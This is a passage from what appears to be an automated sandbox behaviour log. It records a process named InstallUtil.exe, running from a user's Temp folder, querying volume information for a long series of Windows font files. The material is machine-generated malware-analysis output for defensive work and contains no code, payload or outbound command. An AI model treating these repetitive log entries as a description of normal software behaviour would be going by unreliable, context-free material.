Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation
